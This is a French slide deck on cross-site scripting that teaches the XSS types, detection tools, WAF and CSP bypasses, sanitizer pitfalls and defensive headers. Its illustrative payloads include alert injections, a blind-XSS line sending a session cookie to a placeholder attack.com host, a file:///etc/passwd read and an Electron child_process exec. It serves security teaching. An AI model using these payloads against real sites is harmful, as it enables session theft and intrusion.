
Se protéger contre les vulnérabilités XSS…

Et bypasser les protections!

Lucas PARSY
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XSS Cross–Site Scripting:

user

Says hi!

Stealing your creds

vuln.com?n=<script>stealCookie()..

● Exécution de JS arbitraire sur un 
site (ex: vol de cookies)

● Différents vecteurs d’attaque 
(paramètre d’URL, nom d’utilisateur…)

● réfléchie (demande du phishing)

ou stockée (affecte tout les utilisateurs)



XSS Types

Réfléchie

Stockée

DOM

XSS Types

● URL parameter
reflected by server

● Requires victim click (phishing)

● Steal session, 
hijack web page

vuln.com lucas

Welcome ☺

lucas

res+=‘<div>’ + req.query.n + ‘</div>’

?n=

user
<div>user</div>

<div>Welcome ☺</div>

<div>lucas</div>



XSS Types Réfléchie

res+=‘<div>’ + req.query.n + ‘</div>’

Welcome ☺

1

<script>alert(1)</script>?n=vuln.com

user<div>user</div>

<div>Welcome ☺</div>

<div>
<script>alert(1)</script>
</div>

:

● paramètre d’ URL 
réfléchi par le serveur

● Demande que la victime clique 
dessus (phishing)

● Vole la session, pirate la page



XSS Types stockée

(‘INSERT INTO COMMENTS  ?’, n)

● Vulnérabilité ‘des commentaires’

● Stockée en base de donnée

● Propagée à tout utilisateur
visitant la page
(pas de phishing)

res+=‘<div>’ + db[‘comms’] + ‘</div>’

<script>alert(1)</script>?n=vuln.com

:

1

Says hi!

comment

1

Says hi!

1

Says hi!

vuln.com vuln.com vuln.com

comment comment



XSS Types DOM

<img src=1 onerror=alert(1)>

<div>Hello</div>
<div id=user>None</div>

<script>
d = await fetch(‘/api/me’)
j = await d.json()

user.innerHTML = j.name;
<script>

Hello

1

?n=

(‘INSERT INTO USERS ?’, n)

vuln.com

:

● Vulnérabilité ‘des commentaires’

● Stockée en base de donnée

● Propagée à tout utilisateur
visitant la page
(pas de phishing)



domloggerpp-workshop.mizu.re:5173



- Prend du temps,

- manque des payloads bloqués

● Manuellement

Trouver des  XSS



+ trouve des vulns rapidement

- pas discret (beaucoup de requêtes)

- loupe des vulns compliquées

● Burp/Zap/Caido scanner

● Manuellement

Trouver des  XSS



● DomLoggerpp

- ne trouve que des vulns DOM

+ liste la trace d’exécution

+ extension navigateur

● Burp/Zap/Caido scanner

● Manuellement

Trouver des  XSS



● DomLoggerpp

- ne trouve que des vulns DOM

+ liste la trace d’exécution

+ extension navigateur

● Burp/Zap/Caido scanner

● Manuellement

Trouver des  XSS



domloggerpp-workshop.mizu.re:5173 /?html=tuxlu



/?html=tuxlu <script>alert(1)</script>AfterScript



/?html=tuxlu <script>alert(1)</script>AfterScript



/?html= <select class="materialize-select"></select>



/?html= <select class="materialize-select"><option></option></select>



/?html= <select class="materialize-select"><option>data-icon="tuxlu"</option></select>



/?html= <select class="materialize-select"><option>data-icon='"onerror="alert(1)""'</option></select>



XSS Hunter: limitations

● Compliqué à utiliser

Logge tous les events JS à partir d’un fichier de 

config: il faut trouver le bon, et le customiser.

https://github.com/kevin-mizu/domloggerpp/blob/main/configs/leverage-innerHTML.json


XSS Hunter: limitations

● Compliqué à utiliser

● Plutôt mal documenté, 

avec des limitations pas 

forcéments évidentes



Scopes

Defining 
scope Robert"> <script 

src=//txl.xyz></script>

● Tout est basé sur du web:
XSS Everywhere

● Attention à ne pas aller 
hors-scope dans les pentests!



Scopes

Iframe
Sandbox

cdnvuln.com

vuln.com

Your custom HTML here:

document.location)
<script>
alert(

</script>

"></iframe><iframe src="cdnvuln.com



Scopes

Iframe
Sandbox

‘ ’

vuln.com

Your custom HTML here:

document.location)
<script>
alert(

</script>

"></iframe><iframe sandbox="allow-scripts allow-modals



Scopes

Iframe
Sandbox

vuln.com

Your custom HTML here:

document.location)
<script>
alert(

</script>

"></iframe><iframe sandbox="allow-scripts

utilisez console.log() plutôt



Scopes

Server Side
XSS

Hello user:

root:x:0:0:/bin/sh

XSS 1

Localhost: 80, 443, 2000

<iframe src=file:///etc/passwd>

<script>scanPorts(0, 5000)</script>

<div>Hello user:</div>
<img src="x" onerror="     
document.write(‘XSS 1')" />

● templates HTML génerés par le serveur

● Autorise LFI (Local File Inclusion)
/ SSRF (Server-Side Request Forgery)



Scopes

Blind
XSS

DB

vuln.com

No vuln here, user

● Peut être sur le 
backoffice

● Pas de XSS sur le site? ‘><script src=‘attack.com’></script>

● Exfiltre des données
attack.com?cookie=
backofficeSession

Message from user: XSS

backoff.vuln.com

Welcome user: XSS



Scopes

Blind
XSS

Welcome user:

● XSS Hunter

● Serveur pour 
recevoir des 
callbacks de XSS

● Jolie UI pour voir 
des screenshot de 
page web, cookies, 
IP…

XSS



Scopes

Client lourd

Hello user:

exec system 
commands

6x7

● Electron/QTWebview

● Transforme des pages web en 
apps Desktop
(intégration système de fichier…)

● si vuln, XSS to RCE

● Context isolation… généralement



new BrowserWindow(800,600,
webPreferences: {

})

Scopes

Client lourd

HTML 
Renderer

Node JS
nodeIntegration: true,

Hello user:

XSSrequire('child_process').exec(‘calc’)

<div>Hello user:</div> XSS
<script>

</script>

Web context

System context

6x7

sandbox: false



Scopes

Client lourd
new BrowserWindow(800,600,

webPreferences: {

})

HTML 
Renderer

Node JS
//nodeIntegration: true,

Hello user:

XSS

Web context

System context

6x7

Preload
script

<div>Hello user:</div> XSS
<script>

</script>

// require('child_process').exec(‘calc’)
window.command = "calc“
window.exec()

window.command = "harmless_command"

window.exec=()=>{
require('child_process').exec(window.command)

}

preload: 'preload.js’,

contextIsolation: false

//sandbox: false



Protections: firewall

● Web App Firewalls: WAFs

● Software, cloud, hardware…



Firewall bypass

XSS generator
JSFuck



Firewall bypass

XSS generator

aurebesh.js
jsfuck++



Firewall bypass

三

XSS generator

aurebesh.js

Portswigger XSS cheat sheet
tous les events HTML



Firewall bypass

limite de taille des requêtes
juste bruteforcer

Noooooon! Il faut créer

un payload très avancé

pour tromper 

les WAFs modernes!!!!

Haha, 

bruteforce

go brrrr

四

三

XSS generator

aurebesh.js

Portswigger XSS cheat sheet



Protections:

● Set-cookie: HTTPOnly

Les cookies ne peuvent être exfiltrés par script

- ne mettez pas de tokens d’auth dans le  localstorage!

headers



● X-XSS-Protection: 0● X-Frame-Options: DENY 

Protections:

Plein de règles pour gérer le chargement de ressources

- empêche aussi le clickjacking 
et force le HTTPS

headers

Content Security Policy

● Set-cookie: HTTPOnly

● CSP -

● X-Frame-Options: DENY 

● X-XSS-Protection: 0



●

● Set-cookie: HTTPOnly

● X-Content-Type-Options: nosniff

● X-Frame-Options: DENY 
● X-XSS-Protection: 0

Protections:

headers

CSP - Content Security Policy

default-src 'none'; script-src 'self'; connect-src 'self'; 
img-src 'self'; style-src 'self'; frame-ancestors 'self'; 
form-action 'self’; base-uri 'self’; upgrade-insecure-
requests;

Exemple de CSP robuste



● Set-cookie: HTTPOnly

● X-Content-Type-Options: nosniff

● X-Frame-Options: DENY 
● X-XSS-Protection: 0

Protections:

headers

‘unsafe-inline’
Pas de protection <img src= "x" 

onerror=alert(1) />

default-src 'self' 
https://*.google.c
om

Endpoint JSONP
<script 
src="https://accounts.g
oogle.com/o/oauth2/re
voke?callback=alert(1)"
<script> 

CSP - Content Security Policy



<div> { userString } </div>
userString = ‘<img src= "x" 
onerror=alert(1) />’ 

myDiv.innerHTML= userString

● Use a code audit tool to detect unsafe methods

Protections:

<div> <img src= "x" 
onerror=alert(1) /> </div> 

framework encoding

<div> &lt img src= "x" 
onerror=alert(1) /&gt </div> 



safe unsafe

<div dangerouslySetInnerHTML
={{__html:userString}}></div>

<a href={userString}></a>

<div> {{ userString }} </div>

<div :title=“userString”>hi</div>

<div v-html=“userString“></div>

<a : href=“userString“></a>

<div> { userString } </div>

● Use a code audit tool to detect unsafe methods

framework encodingProtections:

<input
value={this.state.userString}/>



Protections:

input = ‘<img src= "x" 
onerror=alert(1) />’ 

● Autoriser le HTML seulement
et bloquer le JS

<img src= "x" />

tag.innerHTML = clean

sanitizer



Protections:

import DOMPurify from
'dompurify’;

const clean =
DOMPurify.sanitize(input);

● Utiliser un sanitizer comme DOMPurify

● Autoriser le HTML seulement
et bloquer le JS

input = ‘<img src= "x" 
onerror=alert(1) />’ 

tag.innerHTML = clean

<img src= "x" />

sanitizer



Protections: sanitizer

● L’HTML est compliqué
et les browsers font du parsing funky
ex: « mutated XSS »

● Utiliser un sanitizer comme DOMPurify

● Autoriser le HTML seulement
et bloquer le JS

import DOMPurify from
'dompurify’;

const clean =
DOMPurify.sanitize(input);

input = ‘<svg></p><style><a 
id="</style><img src=1 
onerror=alert(1)>">

tag.innerHTML = clean

<svg></svg><p></p><style>
<a id=""</style>
<img src=1 onerror=alert(1)>">"">"



FirewallWaf bypass

CSP 
misconfiguration

HTML parsing
variations

Unsafe
methods

Headers

sanitizing

encoding

Protections: résumé



alert(1)
<Img onerror

WAF bypass

<Img onerror

Bfcache/ forward
cache

DNS rebinding

Mizu is an AI

Myspace 
incident

PostMessage
API

Browser 
exploit

document.
location

WTFJS



Sources

Kevin Mizu

Hacktricks
Root-me

LiveOverflow

Domlogger, Root-me challs,

“Multiple ways to break Electron apps” talk

“DO NOT USE alert(1) for XSS”

“Generic HTML Sanitizer Bypass Investigation“





Bonus round: Self XSS

Réfléchie

Stockée

DOM

“Self” console

SelfDifferent   Vectors
Confusing   Terminology



XSS Types Console

● Pur social engineering

:



XSS Types Console

● Pur social engineering

● Warnings console et les 
navigateurs les empêchent

:



XSS Types Self

● XSS ou l’utilisateur doit entrer 
manuellement son payload

● Limité aux infos privées
(ex: adresse de livraison)

● On ne peut pas la partager.
à moins que…

:



XSS Types Self

Step 1: faire se connecter à notre compte quelq’un

vuln.com
cookie

response

vuln.com

http://

http  ://

:



XSS Types Self

vuln.com
cookie

response

vuln.com

S O P

http://

http  ://

✓

:

Step 1: faire se connecter à notre compte quelq’un



XSS Types Self

vuln.com
cookie

response

vuln.com

S O P

http://

X

https://

:

Step 1: faire se connecter à notre compte quelq’un



XSS Types Self

vuln.com
cookie

response

attack.com

S O P

http://

X

:

Step 1: faire se connecter à notre compte quelq’un



XSS Types Self

vuln.com
cookie

response

attack.com

S O P

http://

~

:

Step 1: faire se connecter à notre compte quelq’un



XSS Types Self

vuln.com
cookie

response

attack.com

S O P

http://

~ X
C S R F

:

Step 1: faire se connecter à notre compte quelq’un



XSS Types Self:



attack.com/step2

XSS Types Self

Récupérer les secrets d’autres comptes

attack.com/step1

Requirements:

● La victime clique sur un lien

● victime connectée au site vuln

● Pas de token CSRF sur le site vuln

:



XSS Types Self

Récupérer les secrets d’autres comptes

attack.com/step2

opener

attack.com/step1

:

1: ouvrir un onglet



XSS Types Self

Récupérer les secrets d’autres comptes

attack.com/step2

opener

vuln.com

Welcome user:

‘victim’,
your secret is:

‘Topsy Krett’

attack.com/step2

:

1: ouvrir un onglet

2: rediriger sur les secrets 
de la victim sur le site vuln



XSS Types Self

Récupérer les secrets d’autres comptes

attack.com/step2

opener

vuln.com

Welcome user:

‘victim’,
your secret is:

‘Topsy Krett’

……
Autologin

to vuln.com

hacker

3: login sur le site vuln

:

1: ouvrir un onglet

2: rediriger sur les secrets 
de la victim sur le site vuln



XSS Types Self

Récupérer les secrets d’autres comptes

opener

vuln.com

Welcome user:

‘victim’,
your secret is:

‘Topsy Krett’

Welcome user:

‘hacker’,
your secret is:

attack.com/step2vuln.com
3: login sur le site vuln

4: rediriger vers la XSS
du hacker sur le site vuln

alert(‘XSS’)

:

1: ouvrir un onglet

2: rediriger sur les secrets 
de la victim sur le site vuln



XSS Types Self:

Récupérer les secrets d’autres comptes

opener

vuln.com

1: ouvrir un onglet

Welcome user:

‘victim’,
your secret is:

‘Topsy Krett’

3: login sur le site vuln
Welcome user:

‘hacker’,
your secret is:

attack.com/step2vuln.com

5: récupérer le secret de la 
victime depuis le 1er onglet

4: rediriger vers la XSS
du hacker sur le site vuln

2: rediriger sur les secrets 
de la victim sur le site vuln

alert(‘XSS’)

S O P
approved

‘Topsy Krett’



tuxlu.fr



thank you.
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